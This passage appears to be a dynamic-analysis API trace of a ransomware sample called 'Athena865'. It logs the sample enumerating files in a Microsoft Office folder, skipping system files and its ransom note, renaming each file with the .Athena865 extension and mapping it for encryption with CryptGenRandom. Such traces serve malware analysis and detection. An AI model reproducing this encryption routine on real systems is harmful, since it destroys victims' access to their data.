(lpString1="HXT", lpString2="dbt") returned 1 [0144.916] lstrlenW (lpString="dbv") returned 3 [0144.916] lstrcmpiW (lpString1="HXT", lpString2="dbv") returned 1 [0144.916] lstrlenW (lpString="dbx") returned 3 [0144.916] lstrcmpiW (lpString1="HXT", lpString2="dbx") returned 1 [0144.916] lstrlenW (lpString="dcb") returned 3 [0144.916] lstrcmpiW (lpString1="HXT", lpString2="dcb") returned 1 [0144.916] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.Athena865") returned 73 [0144.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.athena865"), dwFlags=0x1) returned 1 [0144.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.918] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=207) returned 1 [0144.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.918] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.919] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.919] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.919] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0144.921] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0144.922] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.922] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.922] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.923] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.923] CloseHandle (hObject=0x17c) returned 1 [0144.923] CloseHandle (hObject=0x154) returned 1 [0144.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.924] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK_F_COL.HXK", cAlternateFileName="OUTLOO~3.HXK")) returned 1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2=".") returned 1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="..") returned 1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="windows") returned -1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="bootmgr") returned 1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="temp") returned -1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="boot") returned 1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="ids.txt") returned 1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="perflogs") returned -1 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2="MSBuild") returned 1 [0144.924] lstrlenW (lpString="OUTLOOK_F_COL.HXK") returned 17 [0144.924] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLOOK_F_COL.HXK" | out: lpString1="OUTLOOK_F_COL.HXK") returned="OUTLOOK_F_COL.HXK" [0144.924] lstrlenW (lpString="OUTLOOK_F_COL.HXK") returned 17 [0144.924] lstrlenW (lpString="Athena865") returned 9 [0144.924] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0144.924] lstrlenW (lpString=".dll") returned 4 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2=".dll") returned 1 [0144.924] lstrlenW (lpString=".lnk") returned 4 [0144.924] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2=".lnk") returned 1 [0144.924] lstrlenW (lpString=".ini") returned 4 [0144.925] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2=".ini") returned 1 [0144.925] lstrlenW (lpString=".sys") returned 4 [0144.925] lstrcmpiW (lpString1="OUTLOOK_F_COL.HXK", lpString2=".sys") returned 1 [0144.925] lstrlenW (lpString="OUTLOOK_F_COL.HXK") returned 17 [0144.925] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.Athena865") returned 75 [0144.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0144.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.926] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0144.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.927] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.928] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.928] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.928] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0144.930] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0144.930] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.931] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.931] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.932] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.932] CloseHandle (hObject=0x17c) returned 1 [0144.932] CloseHandle (hObject=0x154) returned 1 [0144.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.932] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK_K_COL.HXK", cAlternateFileName="OUTLOO~4.HXK")) returned 1 [0144.935] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.935] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.935] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2=".") returned 1 [0144.935] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="..") returned 1 [0144.935] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="windows") returned -1 [0144.935] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="bootmgr") returned 1 [0144.935] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="temp") returned -1 [0144.936] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0144.936] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="boot") returned 1 [0144.936] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="ids.txt") returned 1 [0144.936] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0144.936] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="perflogs") returned -1 [0144.936] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2="MSBuild") returned 1 [0144.936] lstrlenW (lpString="OUTLOOK_K_COL.HXK") returned 17 [0144.936] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLOOK_K_COL.HXK" | out: lpString1="OUTLOOK_K_COL.HXK") returned="OUTLOOK_K_COL.HXK" [0144.936] lstrlenW (lpString="OUTLOOK_K_COL.HXK") returned 17 [0144.936] lstrlenW (lpString="Athena865") returned 9 [0144.936] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0144.936] lstrlenW (lpString=".dll") returned 4 [0144.936] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2=".dll") returned 1 [0144.936] lstrlenW (lpString=".lnk") returned 4 [0144.936] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2=".lnk") returned 1 [0144.936] lstrlenW (lpString=".ini") returned 4 [0144.936] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2=".ini") returned 1 [0144.936] lstrlenW (lpString=".sys") returned 4 [0144.936] lstrcmpiW (lpString1="OUTLOOK_K_COL.HXK", lpString2=".sys") returned 1 [0144.936] lstrlenW (lpString="OUTLOOK_K_COL.HXK") returned 17 [0144.936] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.Athena865") returned 75 [0144.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0144.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.938] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0144.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.938] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.939] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.939] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.939] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0144.941] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0144.942] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.942] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.943] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.943] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.943] CloseHandle (hObject=0x17c) returned 1 [0144.943] CloseHandle (hObject=0x154) returned 1 [0144.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.944] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLPERF.H", cAlternateFileName="")) returned 1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2=".") returned 1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="..") returned 1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="windows") returned -1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="bootmgr") returned 1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="temp") returned -1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="pagefile.sys") returned -1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="boot") returned 1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="ids.txt") returned 1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="ntuser.dat") returned 1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="perflogs") returned -1 [0144.944] lstrcmpiW (lpString1="OUTLPERF.H", lpString2="MSBuild") returned 1 [0144.944] lstrlenW (lpString="OUTLPERF.H") returned 10 [0144.944] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLPERF.H" | out: lpString1="OUTLPERF.H") returned="OUTLPERF.H" [0144.944] lstrlenW (lpString="OUTLPERF.H") returned 10 [0144.944] lstrlenW (lpString="Athena865") returned 9 [0144.944] lstrcmpiW (lpString1="UTLPERF.H", lpString2="Athena865") returned 1 [0144.944] lstrlenW (lpString=".dll") returned 4 [0144.945] lstrcmpiW (lpString1="OUTLPERF.H", lpString2=".dll") returned 1 [0144.945] lstrlenW (lpString=".lnk") returned 4 [0144.945] lstrcmpiW (lpString1="OUTLPERF.H", lpString2=".lnk") returned 1 [0144.945] lstrlenW (lpString=".ini") returned 4 [0144.945] lstrcmpiW (lpString1="OUTLPERF.H", lpString2=".ini") returned 1 [0144.945] lstrlenW (lpString=".sys") returned 4 [0144.945] lstrcmpiW (lpString1="OUTLPERF.H", lpString2=".sys") returned 1 [0144.945] lstrlenW (lpString="OUTLPERF.H") returned 10 [0144.945] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H.Athena865") returned 68 [0144.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h.athena865"), dwFlags=0x1) returned 1 [0144.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.947] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=551) returned 1 [0144.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.947] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.948] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.948] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.948] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x530, lpName=0x0) returned 0x17c [0144.951] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x530) returned 0x100000 [0144.951] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.952] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.952] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.953] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.953] CloseHandle (hObject=0x17c) returned 1 [0144.953] CloseHandle (hObject=0x154) returned 1 [0144.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.954] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0xa87, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLPERF.INI", cAlternateFileName="")) returned 1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2=".") returned 1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2="..") returned 1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2="windows") returned -1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2="bootmgr") returned 1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2="temp") returned -1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2="pagefile.sys") returned -1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2="boot") returned 1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2="ids.txt") returned 1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2="ntuser.dat") returned 1 [0144.954] lstrcmpiW (lpString1="OUTLPERF.INI", lpString2="perflogs") returned -1 [0144.954] lstrcmpiW 